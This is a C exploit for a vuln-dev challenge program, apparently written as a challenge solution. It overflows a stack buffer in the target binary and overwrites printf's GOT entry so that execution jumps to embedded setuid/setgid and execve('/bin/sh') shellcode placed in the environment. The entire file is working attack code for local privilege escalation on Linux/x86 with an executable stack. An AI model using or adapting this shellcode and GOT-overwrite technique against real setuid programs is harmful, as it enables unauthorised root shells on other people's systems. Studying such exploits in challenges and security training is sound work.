/* 
	 vuln-dev challenge #2 exploit
	 janus () bananus dk

	 this needs executable stack and fixed stackbase. So
	 it is rather simple. Oh, and it runs on Linux/x86
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define OBJDUMP "/usr/bin/objdump"
#define GREP    "/bin/grep"

#define PRINTF (0x08049780) /* printf GOT entry */
#define BFSIZE 108          /* actual size allocated on the stack 
															 using gcc (GCC) 3.2.2 20030222 
															 (Red Hat Linux 3.2.2-5) */

const char *victim = "./vulndev-2";

char shellcode[] = 
	/* setuid and setgid */
	"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
	"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
	/* the Aleph One shellcode */
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* stack layout is like this i vulndev-2:
	 [  f1  ][  buf  ][  bfp  ]
*/

int gotof(const char *exe, const char *function);

int gotof(const char *exe, const char *function) {
	char command[255];
	int got = 0;
	FILE *f;

	snprintf(command, 255, "%s -R %s | %s ' %s$'|awk '{ print $1 }'",
			OBJDUMP, exe, GREP, function);
	
	f = popen(command, "r");
	if(f == NULL) return 0;
	if(fscanf(f, "%x\n", &got) == 0) {
		fclose(f);
		return 0;
	}
	fclose(f);
	return got;
}
	
int
main(int argc, char **argv) {
	char *env[3] = { shellcode, NULL };
	char arg1[BFSIZE+4+1]; /* size of "buf" + bfp pointer + 1 */
	char arg2[5];          /* address of shellcode */
	char *p;               /* running pointer */
	int saddr;             /* address of shellcode */
	int printf_got;        /* GOT address of PRINTF in victim */

	/* make sure db.log does not exist already */
	unlink("db.log");

	if((printf_got = gotof(victim, "printf")) == 0)
		return EXIT_FAILURE;

	/* create first argument */
	p = arg1+BFSIZE;
	memset(arg1, 'A', BFSIZE);
	*((void**)p) = (void*)(printf_got - 2); /* to avoid ';;' */
	p+=4; *p = 0x00;

	/* calculate address of shellcode. Assumes fixed stack-base
		 and Linux os */
	saddr = 0xbffffffa - strlen(victim) - strlen(shellcode);
	*((char**)arg2) = (char *)(saddr);
	
	printf("[i] shellcode is at 0x%08x\n", saddr);
	printf("[i] printf GOT is 0x%08x\n", printf_got);
	printf("[i] using 0x%08x as GOT\n", printf_got - 2);
	
	execle(victim, victim, arg1, arg2, NULL, env);
	return EXIT_FAILURE;
}


